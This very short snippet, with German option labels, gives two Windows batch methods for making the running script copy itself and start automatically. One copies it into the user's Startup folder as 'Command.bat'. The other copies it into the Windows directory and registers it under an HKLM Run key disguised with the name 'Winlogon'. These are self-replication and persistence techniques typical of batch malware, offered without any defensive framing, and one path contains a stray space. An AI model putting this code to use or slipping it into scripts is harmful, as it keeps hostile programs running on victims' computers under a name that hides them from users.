Möglichkeit 1
copy %0 "%userprofile%\startm~1\Programme\Autostart\Comman d.bat"

Möglichkeit 2
copy %0 "%windir%\Command\Command.bat"
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Winlogon /t REG_SZ /d %windir%\Command\Command.bat /f